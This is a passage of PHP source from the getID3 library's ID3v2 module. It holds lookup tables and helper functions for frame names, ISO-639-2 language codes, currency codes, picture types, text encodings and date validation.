'TIT2') { $parsedFrame['toc_name'] = $encoding_converted_text; } elseif ($subframe['name'] == 'TIT3') { $parsedFrame['toc_description'] = $encoding_converted_text; } $parsedFrame['subframes'][] = $subframe; } else { $this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)'); } } unset($subframe_rawdata, $subframe, $encoding_converted_text); } } return true; } /** * @param string $data * * @return string */ public function DeUnsynchronise($data) { return str_replace("\xFF\x00", "\xFF", $data); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) { static $LookupExtendedHeaderRestrictionsTagSizeLimits = array( 0x00 => 'No more than 128 frames and 1 MB total tag size', 0x01 => 'No more than 64 frames and 128 KB total tag size', 0x02 => 'No more than 32 frames and 40 KB total tag size', 0x03 => 'No more than 32 frames and 4 KB total tag size', ); return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsTextEncodings($index) { static $LookupExtendedHeaderRestrictionsTextEncodings = array( 0x00 => 'No restrictions', 0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8', ); return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsTextFieldSize($index) { static $LookupExtendedHeaderRestrictionsTextFieldSize = array( 0x00 => 'No restrictions', 0x01 => 'No string is longer than 1024 characters', 0x02 => 'No string is longer than 128 characters', 0x03 => 'No string is longer than 30 characters', ); return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsImageEncoding($index) { static $LookupExtendedHeaderRestrictionsImageEncoding = array( 0x00 => 'No restrictions', 0x01 => 'Images are encoded only with PNG or JPEG', ); return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsImageSizeSize($index) { static $LookupExtendedHeaderRestrictionsImageSizeSize = array( 0x00 => 'No restrictions', 0x01 => 'All images are 256x256 pixels or smaller', 0x02 => 'All images are 64x64 pixels or smaller', 0x03 => 'All images are exactly 64x64 pixels, unless required otherwise', ); return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : ''); } /** * @param string $currencyid * * @return string */ public function LookupCurrencyUnits($currencyid) { $begin = __LINE__; /** This is not a comment! AED Dirhams AFA Afghanis ALL Leke AMD Drams ANG Guilders AOA Kwanza ARS Pesos ATS Schillings AUD Dollars AWG Guilders AZM Manats BAM Convertible Marka BBD Dollars BDT Taka BEF Francs BGL Leva BHD Dinars BIF Francs BMD Dollars BND Dollars BOB Bolivianos BRL Brazil Real BSD Dollars BTN Ngultrum BWP Pulas BYR Rubles BZD Dollars CAD Dollars CDF Congolese Francs CHF Francs CLP Pesos CNY Yuan Renminbi COP Pesos CRC Colones CUP Pesos CVE Escudos CYP Pounds CZK Koruny DEM Deutsche Marks DJF Francs DKK Kroner DOP Pesos DZD Algeria Dinars EEK Krooni EGP Pounds ERN Nakfa ESP Pesetas ETB Birr EUR Euro FIM Markkaa FJD Dollars FKP Pounds FRF Francs GBP Pounds GEL Lari GGP Pounds GHC Cedis GIP Pounds GMD Dalasi GNF Francs GRD Drachmae GTQ Quetzales GYD Dollars HKD Dollars HNL Lempiras HRK Kuna HTG Gourdes HUF Forints IDR Rupiahs IEP Pounds ILS New Shekels IMP Pounds INR Rupees IQD Dinars IRR Rials ISK Kronur ITL Lire JEP Pounds JMD Dollars JOD Dinars JPY Yen KES Shillings KGS Soms KHR Riels KMF Francs KPW Won KWD Dinars KYD Dollars KZT Tenge LAK Kips LBP Pounds LKR Rupees LRD Dollars LSL Maloti LTL Litai LUF Francs LVL Lati LYD Dinars MAD Dirhams MDL Lei MGF Malagasy Francs MKD Denars MMK Kyats MNT Tugriks MOP Patacas MRO Ouguiyas MTL Liri MUR Rupees MVR Rufiyaa MWK Kwachas MXN Pesos MYR Ringgits MZM Meticais NAD Dollars NGN Nairas NIO Gold Cordobas NLG Guilders NOK Krone NPR Nepal Rupees NZD Dollars OMR Rials PAB Balboa PEN Nuevos Soles PGK Kina PHP Pesos PKR Rupees PLN Zlotych PTE Escudos PYG Guarani QAR Rials ROL Lei RUR Rubles RWF Rwanda Francs SAR Riyals SBD Dollars SCR Rupees SDD Dinars SEK Kronor SGD Dollars SHP Pounds SIT Tolars SKK Koruny SLL Leones SOS Shillings SPL Luigini SRG Guilders STD Dobras SVC Colones SYP Pounds SZL Emalangeni THB Baht TJR Rubles TMM Manats TND Dinars TOP Pa'anga TRL Liras (old) TRY Liras TTD Dollars TVD Tuvalu Dollars TWD New Dollars TZS Shillings UAH Hryvnia UGX Shillings USD Dollars UYU Pesos UZS Sums VAL Lire VEB Bolivares VND Dong VUV Vatu WST Tala XAF Francs XAG Ounces XAU Ounces XCD Dollars XDR Special Drawing Rights XPD Ounces XPF Francs XPT Ounces YER Rials YUM New Dinars ZAR Rand ZMK Kwacha ZWD Zimbabwe Dollars */ return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units'); } /** * @param string $currencyid * * @return string */ public function LookupCurrencyCountry($currencyid) { $begin = __LINE__; /** This is not a comment! AED United Arab Emirates AFA Afghanistan ALL Albania AMD Armenia ANG Netherlands Antilles AOA Angola ARS Argentina ATS Austria AUD Australia AWG Aruba AZM Azerbaijan BAM Bosnia and Herzegovina BBD Barbados BDT Bangladesh BEF Belgium BGL Bulgaria BHD Bahrain BIF Burundi BMD Bermuda BND Brunei Darussalam BOB Bolivia BRL Brazil BSD Bahamas BTN Bhutan BWP Botswana BYR Belarus BZD Belize CAD Canada CDF Congo/Kinshasa CHF Switzerland CLP Chile CNY China COP Colombia CRC Costa Rica CUP Cuba CVE Cape Verde CYP Cyprus CZK Czech Republic DEM Germany DJF Djibouti DKK Denmark DOP Dominican Republic DZD Algeria EEK Estonia EGP Egypt ERN Eritrea ESP Spain ETB Ethiopia EUR Euro Member Countries FIM Finland FJD Fiji FKP Falkland Islands (Malvinas) FRF France GBP United Kingdom GEL Georgia GGP Guernsey GHC Ghana GIP Gibraltar GMD Gambia GNF Guinea GRD Greece GTQ Guatemala GYD Guyana HKD Hong Kong HNL Honduras HRK Croatia HTG Haiti HUF Hungary IDR Indonesia IEP Ireland (Eire) ILS Israel IMP Isle of Man INR India IQD Iraq IRR Iran ISK Iceland ITL Italy JEP Jersey JMD Jamaica JOD Jordan JPY Japan KES Kenya KGS Kyrgyzstan KHR Cambodia KMF Comoros KPW Korea KWD Kuwait KYD Cayman Islands KZT Kazakstan LAK Laos LBP Lebanon LKR Sri Lanka LRD Liberia LSL Lesotho LTL Lithuania LUF Luxembourg LVL Latvia LYD Libya MAD Morocco MDL Moldova MGF Madagascar MKD Macedonia MMK Myanmar (Burma) MNT Mongolia MOP Macau MRO Mauritania MTL Malta MUR Mauritius MVR Maldives (Maldive Islands) MWK Malawi MXN Mexico MYR Malaysia MZM Mozambique NAD Namibia NGN Nigeria NIO Nicaragua NLG Netherlands (Holland) NOK Norway NPR Nepal NZD New Zealand OMR Oman PAB Panama PEN Peru PGK Papua New Guinea PHP Philippines PKR Pakistan PLN Poland PTE Portugal PYG Paraguay QAR Qatar ROL Romania RUR Russia RWF Rwanda SAR Saudi Arabia SBD Solomon Islands SCR Seychelles SDD Sudan SEK Sweden SGD Singapore SHP Saint Helena SIT Slovenia SKK Slovakia SLL Sierra Leone SOS Somalia SPL Seborga SRG Suriname STD São Tome and Principe SVC El Salvador SYP Syria SZL Swaziland THB Thailand TJR Tajikistan TMM Turkmenistan TND Tunisia TOP Tonga TRL Turkey TRY Turkey TTD Trinidad and Tobago TVD Tuvalu TWD Taiwan TZS Tanzania UAH Ukraine UGX Uganda USD United States of America UYU Uruguay UZS Uzbekistan VAL Vatican City VEB Venezuela VND Viet Nam VUV Vanuatu WST Samoa XAF Communauté Financière Africaine XAG Silver XAU Gold XCD East Caribbean XDR International Monetary Fund XPD Palladium XPF Comptoirs Français du Pacifique XPT Platinum YER Yemen YUM Yugoslavia ZAR South Africa ZMK Zambia ZWD Zimbabwe */ return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country'); } /** * @param string $languagecode * @param bool $casesensitive * * @return string */ public static function LanguageLookup($languagecode, $casesensitive=false) { if (!$casesensitive) { $languagecode = strtolower($languagecode); } // http://www.id3.org/id3v2.4.0-structure.txt // [4. ID3v2 frame overview] // The three byte language field, present in several frames, is used to // describe the language of the frame's content, according to ISO-639-2 // [ISO-639-2]. The language should be represented in lower case. If the // language is not known the string "XXX" should be used. // ISO 639-2 - http://www.id3.org/iso639-2.html $begin = __LINE__; /** This is not a comment! XXX unknown xxx unknown aar Afar abk Abkhazian ace Achinese ach Acoli ada Adangme afa Afro-Asiatic (Other) afh Afrihili afr Afrikaans aka Akan akk Akkadian alb Albanian ale Aleut alg Algonquian Languages amh Amharic ang English, Old (ca. 450-1100) apa Apache Languages ara Arabic arc Aramaic arm Armenian arn Araucanian arp Arapaho art Artificial (Other) arw Arawak asm Assamese ath Athapascan Languages ava Avaric ave Avestan awa Awadhi aym Aymara aze Azerbaijani bad Banda bai Bamileke Languages bak Bashkir bal Baluchi bam Bambara ban Balinese baq Basque bas Basa bat Baltic (Other) bej Beja bel Byelorussian bem Bemba ben Bengali ber Berber (Other) bho Bhojpuri bih Bihari bik Bikol bin Bini bis Bislama bla Siksika bnt Bantu (Other) bod Tibetan bra Braj bre Breton bua Buriat bug Buginese bul Bulgarian bur Burmese cad Caddo cai Central American Indian (Other) car Carib cat Catalan cau Caucasian (Other) ceb Cebuano cel Celtic (Other) ces Czech cha Chamorro chb Chibcha che Chechen chg Chagatai chi Chinese chm Mari chn Chinook jargon cho Choctaw chr Cherokee chu Church Slavic chv Chuvash chy Cheyenne cop Coptic cor Cornish cos Corsican cpe Creoles and Pidgins, English-based (Other) cpf Creoles and Pidgins, French-based (Other) cpp Creoles and Pidgins, Portuguese-based (Other) cre Cree crp Creoles and Pidgins (Other) cus Cushitic (Other) cym Welsh cze Czech dak Dakota dan Danish del Delaware deu German din Dinka div Divehi doi Dogri dra Dravidian (Other) dua Duala dum Dutch, Middle (ca. 1050-1350) dut Dutch dyu Dyula dzo Dzongkha efi Efik egy Egyptian (Ancient) eka Ekajuk ell Greek, Modern (1453-) elx Elamite eng English enm English, Middle (ca. 1100-1500) epo Esperanto esk Eskimo (Other) esl Spanish est Estonian eus Basque ewe Ewe ewo Ewondo fan Fang fao Faroese fas Persian fat Fanti fij Fijian fin Finnish fiu Finno-Ugrian (Other) fon Fon fra French fre French frm French, Middle (ca. 1400-1600) fro French, Old (842- ca. 1400) fry Frisian ful Fulah gaa Ga gae Gaelic (Scots) gai Irish gay Gayo gdh Gaelic (Scots) gem Germanic (Other) geo Georgian ger German gez Geez gil Gilbertese glg Gallegan gmh German, Middle High (ca. 1050-1500) goh German, Old High (ca. 750-1050) gon Gondi got Gothic grb Grebo grc Greek, Ancient (to 1453) gre Greek, Modern (1453-) grn Guarani guj Gujarati hai Haida hau Hausa haw Hawaiian heb Hebrew her Herero hil Hiligaynon him Himachali hin Hindi hmo Hiri Motu hun Hungarian hup Hupa hye Armenian iba Iban ibo Igbo ice Icelandic ijo Ijo iku Inuktitut ilo Iloko ina Interlingua (International Auxiliary language Association) inc Indic (Other) ind Indonesian ine Indo-European (Other) ine Interlingue ipk Inupiak ira Iranian (Other) iri Irish iro Iroquoian uages isl Icelandic ita Italian jav Javanese jaw Javanese jpn Japanese jpr Judeo-Persian jrb Judeo-Arabic kaa Kara-Kalpak kab Kabyle kac Kachin kal Greenlandic kam Kamba kan Kannada kar Karen kas Kashmiri kat Georgian kau Kanuri kaw Kawi kaz Kazakh kha Khasi khi Khoisan (Other) khm Khmer kho Khotanese kik Kikuyu kin Kinyarwanda kir Kirghiz kok Konkani kom Komi kon Kongo kor Korean kpe Kpelle kro Kru kru Kurukh kua Kuanyama kum Kumyk kur Kurdish kus Kusaie kut Kutenai lad Ladino lah Lahnda lam Lamba lao Lao lat Latin lav Latvian lez Lezghian lin Lingala lit Lithuanian lol Mongo loz Lozi ltz Letzeburgesch lub Luba-Katanga lug Ganda lui Luiseno lun Lunda luo Luo (Kenya and Tanzania) mac Macedonian mad Madurese mag Magahi mah Marshall mai Maithili mak Macedonian mak Makasar mal Malayalam man Mandingo mao Maori map Austronesian (Other) mar Marathi mas Masai max Manx may Malay men Mende mga Irish, Middle (900 - 1200) mic Micmac min Minangkabau mis Miscellaneous (Other) mkh Mon-Kmer (Other) mlg Malagasy mlt Maltese mni Manipuri mno Manobo Languages moh Mohawk mol Moldavian mon Mongolian mos Mossi mri Maori msa Malay mul Multiple Languages mun Munda Languages mus Creek mwr Marwari mya Burmese myn Mayan Languages nah Aztec nai North American Indian (Other) nau Nauru nav Navajo nbl Ndebele, South nde Ndebele, North ndo Ndongo nep Nepali new Newari nic Niger-Kordofanian (Other) niu Niuean nla Dutch nno Norwegian (Nynorsk) non Norse, Old nor Norwegian nso Sotho, Northern nub Nubian Languages nya Nyanja nym Nyamwezi nyn Nyankole nyo Nyoro nzi Nzima oci Langue d'Oc (post 1500) oji Ojibwa ori Oriya orm Oromo osa Osage oss Ossetic ota Turkish, Ottoman (1500 - 1928) oto Otomian Languages paa Papuan-Australian (Other) pag Pangasinan pal Pahlavi pam Pampanga pan Panjabi pap Papiamento pau Palauan peo Persian, Old (ca 600 - 400 B.C.) per Persian phn Phoenician pli Pali pol Polish pon Ponape por Portuguese pra Prakrit uages pro Provencal, Old (to 1500) pus Pushto que Quechua raj Rajasthani rar Rarotongan roa Romance (Other) roh Rhaeto-Romance rom Romany ron Romanian rum Romanian run Rundi rus Russian sad Sandawe sag Sango sah Yakut sai South American Indian (Other) sal Salishan Languages sam Samaritan Aramaic san Sanskrit sco Scots scr Serbo-Croatian sel Selkup sem Semitic (Other) sga Irish, Old (to 900) shn Shan sid Sidamo sin Singhalese sio Siouan Languages sit Sino-Tibetan (Other) sla Slavic (Other) slk Slovak slo Slovak slv Slovenian smi Sami Languages smo Samoan sna Shona snd Sindhi sog Sogdian som Somali son Songhai sot Sotho, Southern spa Spanish sqi Albanian srd Sardinian srr Serer ssa Nilo-Saharan (Other) ssw Siswant ssw Swazi suk Sukuma sun Sudanese sus Susu sux Sumerian sve Swedish swa Swahili swe Swedish syr Syriac tah Tahitian tam Tamil tat Tatar tel Telugu tem Timne ter Tereno tgk Tajik tgl Tagalog tha Thai tib Tibetan tig Tigre tir Tigrinya tiv Tivi tli Tlingit tmh Tamashek tog Tonga (Nyasa) ton Tonga (Tonga Islands) tru Truk tsi Tsimshian tsn Tswana tso Tsonga tuk Turkmen tum Tumbuka tur Turkish tut Altaic (Other) twi Twi tyv Tuvinian uga Ugaritic uig Uighur ukr Ukrainian umb Umbundu und Undetermined urd Urdu uzb Uzbek vai Vai ven Venda vie Vietnamese vol Volapük vot Votic wak Wakashan Languages wal Walamo war Waray was Washo wel Welsh wen Sorbian Languages wol Wolof xho Xhosa yao Yao yap Yap yid Yiddish yor Yoruba zap Zapotec zen Zenaga zha Zhuang zho Chinese zul Zulu zun Zuni */ return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode'); } /** * @param int $index * * @return string */ public static function ETCOEventLookup($index) { if (($index >= 0x17) && ($index <= 0xDF)) { return 'reserved for future use'; } if (($index >= 0xE0) && ($index <= 0xEF)) { return 'not predefined synch 0-F'; } if (($index >= 0xF0) && ($index <= 0xFC)) { return 'reserved for future use'; } static $EventLookup = array( 0x00 => 'padding (has no meaning)', 0x01 => 'end of initial silence', 0x02 => 'intro start', 0x03 => 'main part start', 0x04 => 'outro start', 0x05 => 'outro end', 0x06 => 'verse start', 0x07 => 'refrain start', 0x08 => 'interlude start', 0x09 => 'theme start', 0x0A => 'variation start', 0x0B => 'key change', 0x0C => 'time change', 0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)', 0x0E => 'sustained noise', 0x0F => 'sustained noise end', 0x10 => 'intro end', 0x11 => 'main part end', 0x12 => 'verse end', 0x13 => 'refrain end', 0x14 => 'theme end', 0x15 => 'profanity', 0x16 => 'profanity end', 0xFD => 'audio end (start of silence)', 0xFE => 'audio file ends', 0xFF => 'one more byte of events follows' ); return (isset($EventLookup[$index]) ? $EventLookup[$index] : ''); } /** * @param int $index * * @return string */ public static function SYTLContentTypeLookup($index) { static $SYTLContentTypeLookup = array( 0x00 => 'other', 0x01 => 'lyrics', 0x02 => 'text transcription', 0x03 => 'movement/part name', // (e.g. 'Adagio') 0x04 => 'events', // (e.g. 'Don Quijote enters the stage') 0x05 => 'chord', // (e.g. 'Bb F Fsus') 0x06 => 'trivia/\'pop up\' information', 0x07 => 'URLs to webpages', 0x08 => 'URLs to images' ); return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : ''); } /** * @param int $index * @param bool $returnarray * * @return array|string */ public static function APICPictureTypeLookup($index, $returnarray=false) { static $APICPictureTypeLookup = array( 0x00 => 'Other', 0x01 => '32x32 pixels \'file icon\' (PNG only)', 0x02 => 'Other file icon', 0x03 => 'Cover (front)', 0x04 => 'Cover (back)', 0x05 => 'Leaflet page', 0x06 => 'Media (e.g. label side of CD)', 0x07 => 'Lead artist/lead performer/soloist', 0x08 => 'Artist/performer', 0x09 => 'Conductor', 0x0A => 'Band/Orchestra', 0x0B => 'Composer', 0x0C => 'Lyricist/text writer', 0x0D => 'Recording Location', 0x0E => 'During recording', 0x0F => 'During performance', 0x10 => 'Movie/video screen capture', 0x11 => 'A bright coloured fish', 0x12 => 'Illustration', 0x13 => 'Band/artist logotype', 0x14 => 'Publisher/Studio logotype' ); if ($returnarray) { return $APICPictureTypeLookup; } return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : ''); } /** * @param int $index * * @return string */ public static function COMRReceivedAsLookup($index) { static $COMRReceivedAsLookup = array( 0x00 => 'Other', 0x01 => 'Standard CD album with other songs', 0x02 => 'Compressed audio on CD', 0x03 => 'File over the Internet', 0x04 => 'Stream over the Internet', 0x05 => 'As note sheets', 0x06 => 'As note sheets in a book with other sheets', 0x07 => 'Music on other media', 0x08 => 'Non-musical merchandise' ); return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : ''); } /** * @param int $index * * @return string */ public static function RVA2ChannelTypeLookup($index) { static $RVA2ChannelTypeLookup = array( 0x00 => 'Other', 0x01 => 'Master volume', 0x02 => 'Front right', 0x03 => 'Front left', 0x04 => 'Back right', 0x05 => 'Back left', 0x06 => 'Front centre', 0x07 => 'Back centre', 0x08 => 'Subwoofer' ); return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : ''); } /** * @param string $framename * * @return string */ public static function FrameNameLongLookup($framename) { $begin = __LINE__; /** This is not a comment! AENC Audio encryption APIC Attached picture ASPI Audio seek point index BUF Recommended buffer size CNT Play counter COM Comments COMM Comments COMR Commercial frame CRA Audio encryption CRM Encrypted meta frame ENCR Encryption method registration EQU Equalisation EQU2 Equalisation (2) EQUA Equalisation ETC Event timing codes ETCO Event timing codes GEO General encapsulated object GEOB General encapsulated object GRID Group identification registration IPL Involved people list IPLS Involved people list LINK Linked information LNK Linked information MCDI Music CD identifier MCI Music CD Identifier MLL MPEG location lookup table MLLT MPEG location lookup table OWNE Ownership frame PCNT Play counter PIC Attached picture POP Popularimeter POPM Popularimeter POSS Position synchronisation frame PRIV Private frame RBUF Recommended buffer size REV Reverb RVA Relative volume adjustment RVA2 Relative volume adjustment (2) RVAD Relative volume adjustment RVRB Reverb SEEK Seek frame SIGN Signature frame SLT Synchronised lyric/text STC Synced tempo codes SYLT Synchronised lyric/text SYTC Synchronised tempo codes TAL Album/Movie/Show title TALB Album/Movie/Show title TBP BPM (Beats Per Minute) TBPM BPM (beats per minute) TCM Composer TCMP Part of a compilation TCO Content type TCOM Composer TCON Content type TCOP Copyright message TCP Part of a compilation TCR Copyright message TDA Date TDAT Date TDEN Encoding time TDLY Playlist delay TDOR Original release time TDRC Recording time TDRL Release time TDTG Tagging time TDY Playlist delay TEN Encoded by TENC Encoded by TEXT Lyricist/Text writer TFLT File type TFT File type TIM Time TIME Time TIPL Involved people list TIT1 Content group description TIT2 Title/songname/content description TIT3 Subtitle/Description refinement TKE Initial key TKEY Initial key TLA Language(s) TLAN Language(s) TLE Length TLEN Length TMCL Musician credits list TMED Media type TMOO Mood TMT Media type TOA Original artist(s)/performer(s) TOAL Original album/movie/show title TOF Original filename TOFN Original filename TOL Original Lyricist(s)/text writer(s) TOLY Original lyricist(s)/text writer(s) TOPE Original artist(s)/performer(s) TOR Original release year TORY Original release year TOT Original album/Movie/Show title TOWN File owner/licensee TP1 Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group TP2 Band/Orchestra/Accompaniment TP3 Conductor/Performer refinement TP4 Interpreted, remixed, or otherwise modified by TPA Part of a set TPB Publisher TPE1 Lead performer(s)/Soloist(s) TPE2 Band/orchestra/accompaniment TPE3 Conductor/performer refinement TPE4 Interpreted, remixed, or otherwise modified by TPOS Part of a set TPRO Produced notice TPUB Publisher TRC ISRC (International Standard Recording Code) TRCK Track number/Position in set TRD Recording dates TRDA Recording dates TRK Track number/Position in set TRSN Internet radio station name TRSO Internet radio station owner TS2 Album-Artist sort order TSA Album sort order TSC Composer sort order TSI Size TSIZ Size TSO2 Album-Artist sort order TSOA Album sort order TSOC Composer sort order TSOP Performer sort order TSOT Title sort order TSP Performer sort order TSRC ISRC (international standard recording code) TSS Software/hardware and settings used for encoding TSSE Software/Hardware and settings used for encoding TSST Set subtitle TST Title sort order TT1 Content group description TT2 Title/Songname/Content description TT3 Subtitle/Description refinement TXT Lyricist/text writer TXX User defined text information frame TXXX User defined text information frame TYE Year TYER Year UFI Unique file identifier UFID Unique file identifier ULT Unsynchronised lyric/text transcription USER Terms of use USLT Unsynchronised lyric/text transcription WAF Official audio file webpage WAR Official artist/performer webpage WAS Official audio source webpage WCM Commercial information WCOM Commercial information WCOP Copyright/Legal information WCP Copyright/Legal information WOAF Official audio file webpage WOAR Official artist/performer webpage WOAS Official audio source webpage WORS Official Internet radio station homepage WPAY Payment WPB Publishers official webpage WPUB Publishers official webpage WXX User defined URL link frame WXXX User defined URL link frame TFEA Featured Artist TSTU Recording Studio rgad Replay Gain Adjustment */ return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long'); // Last three: // from Helium2 [www.helium2.com] // from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html } /** * @param string $framename * * @return string */ public static function FrameNameShortLookup($framename) { $begin = __LINE__; /** This is not a comment! AENC audio_encryption APIC attached_picture ASPI audio_seek_point_index BUF recommended_buffer_size CNT play_counter COM comment COMM comment COMR commercial_frame CRA audio_encryption CRM encrypted_meta_frame ENCR encryption_method_registration EQU equalisation EQU2 equalisation EQUA equalisation ETC event_timing_codes ETCO event_timing_codes GEO general_encapsulated_object GEOB general_encapsulated_object GRID group_identification_registration IPL involved_people_list IPLS involved_people_list LINK linked_information LNK linked_information MCDI music_cd_identifier MCI music_cd_identifier MLL mpeg_location_lookup_table MLLT mpeg_location_lookup_table OWNE ownership_frame PCNT play_counter PIC attached_picture POP popularimeter POPM popularimeter POSS position_synchronisation_frame PRIV private_frame RBUF recommended_buffer_size REV reverb RVA relative_volume_adjustment RVA2 relative_volume_adjustment RVAD relative_volume_adjustment RVRB reverb SEEK seek_frame SIGN signature_frame SLT synchronised_lyric STC synced_tempo_codes SYLT synchronised_lyric SYTC synchronised_tempo_codes TAL album TALB album TBP bpm TBPM bpm TCM composer TCMP part_of_a_compilation TCO genre TCOM composer TCON genre TCOP copyright_message TCP part_of_a_compilation TCR copyright_message TDA date TDAT date TDEN encoding_time TDLY playlist_delay TDOR original_release_time TDRC recording_time TDRL release_time TDTG tagging_time TDY playlist_delay TEN encoded_by TENC encoded_by TEXT lyricist TFLT file_type TFT file_type TIM time TIME time TIPL involved_people_list TIT1 content_group_description TIT2 title TIT3 subtitle TKE initial_key TKEY initial_key TLA language TLAN language TLE length TLEN length TMCL musician_credits_list TMED media_type TMOO mood TMT media_type TOA original_artist TOAL original_album TOF original_filename TOFN original_filename TOL original_lyricist TOLY original_lyricist TOPE original_artist TOR original_year TORY original_year TOT original_album TOWN file_owner TP1 artist TP2 band TP3 conductor TP4 remixer TPA part_of_a_set TPB publisher TPE1 artist TPE2 band TPE3 conductor TPE4 remixer TPOS part_of_a_set TPRO produced_notice TPUB publisher TRC isrc TRCK track_number TRD recording_dates TRDA recording_dates TRK track_number TRSN internet_radio_station_name TRSO internet_radio_station_owner TS2 album_artist_sort_order TSA album_sort_order TSC composer_sort_order TSI size TSIZ size TSO2 album_artist_sort_order TSOA album_sort_order TSOC composer_sort_order TSOP performer_sort_order TSOT title_sort_order TSP performer_sort_order TSRC isrc TSS encoder_settings TSSE encoder_settings TSST set_subtitle TST title_sort_order TT1 content_group_description TT2 title TT3 subtitle TXT lyricist TXX text TXXX text TYE year TYER year UFI unique_file_identifier UFID unique_file_identifier ULT unsynchronised_lyric USER terms_of_use USLT unsynchronised_lyric WAF url_file WAR url_artist WAS url_source WCM commercial_information WCOM commercial_information WCOP copyright WCP copyright WOAF url_file WOAR url_artist WOAS url_source WORS url_station WPAY url_payment WPB url_publisher WPUB url_publisher WXX url_user WXXX url_user TFEA featured_artist TSTU recording_studio rgad replay_gain_adjustment */ return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short'); } /** * @param string $encoding * * @return string */ public static function TextEncodingTerminatorLookup($encoding) { // http://www.id3.org/id3v2.4.0-structure.txt // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: static $TextEncodingTerminatorLookup = array( 0 => "\x00", // $00 ISO-8859-1. Terminated with $00. 1 => "\x00\x00", // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. 2 => "\x00\x00", // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. 3 => "\x00", // $03 UTF-8 encoded Unicode. Terminated with $00. 255 => "\x00\x00" ); return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00"); } /** * @param int $encoding * * @return string */ public static function TextEncodingNameLookup($encoding) { // http://www.id3.org/id3v2.4.0-structure.txt // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: static $TextEncodingNameLookup = array( 0 => 'ISO-8859-1', // $00 ISO-8859-1. Terminated with $00. 1 => 'UTF-16', // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. 2 => 'UTF-16BE', // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. 3 => 'UTF-8', // $03 UTF-8 encoded Unicode. Terminated with $00. 255 => 'UTF-16BE' ); return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1'); } /** * @param string $string * @param string $terminator * * @return string */ public static function RemoveStringTerminator($string, $terminator) { // Null terminator at end of comment string is somewhat ambiguous in the specification, may or may not be implemented by various taggers. Remove terminator only if present. // https://github.com/JamesHeinrich/getID3/issues/121 // https://community.mp3tag.de/t/x-trailing-nulls-in-id3v2-comments/19227 if (substr($string, -strlen($terminator), strlen($terminator)) === $terminator) { $string = substr($string, 0, -strlen($terminator)); } return $string; } /** * @param string $string * * @return string */ public static function MakeUTF16emptyStringEmpty($string) { if (in_array($string, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) { // if string only contains a BOM or terminator then make it actually an empty string $string = ''; } return $string; } /** * @param string $framename * @param int $id3v2majorversion * * @return bool|int */ public static function IsValidID3v2FrameName($framename, $id3v2majorversion) { switch ($id3v2majorversion) { case 2: return preg_match('#[A-Z][A-Z0-9]{2}#', $framename); case 3: case 4: return preg_match('#[A-Z][A-Z0-9]{3}#', $framename); } return false; } /** * @param string $numberstring * @param bool $allowdecimal * @param bool $allownegative * * @return bool */ public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) { $pattern = '#^'; $pattern .= ($allownegative ? '\\-?' : ''); $pattern .= '[0-9]+'; $pattern .= ($allowdecimal ? '(\\.[0-9]+)?' : ''); $pattern .= '$#'; return preg_match($pattern, $numberstring); } /** * @param string $datestamp * * @return bool */ public static function IsValidDateStampString($datestamp) { if (!preg_match('#^[12][0-9]{3}[01][0-9][0123][0-9]$#', $datestamp)) { return false; } $year = substr($datestamp, 0, 4); $month = substr($datestamp, 4, 2); $day = substr($datestamp, 6, 2); if (($year == 0) || ($month == 0) || ($day == 0)) { return false; } if ($month > 12) { return false; } if ($day > 31) { return false; } if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) { return false; } if (($day > 29) && ($month == 2)) { return false; } return true; } /** * @param int $majorversion * * @return int */ public static function ID3v2HeaderLength($majorversion) { return (($majorversion == 2) ? 6 : 10); } /** * @param string $frame_name * * @return string|false */ public static function ID3v22iTunesBrokenFrameName($frame_name) { // iTunes (multiple versions) has been known to write ID3v2.3 style frames // but use ID3v2.2 frame names, right-padded using either [space] or [null] // to make them fit in the 4-byte frame name space of the ID3v2.3 frame. // This function will detect and translate the 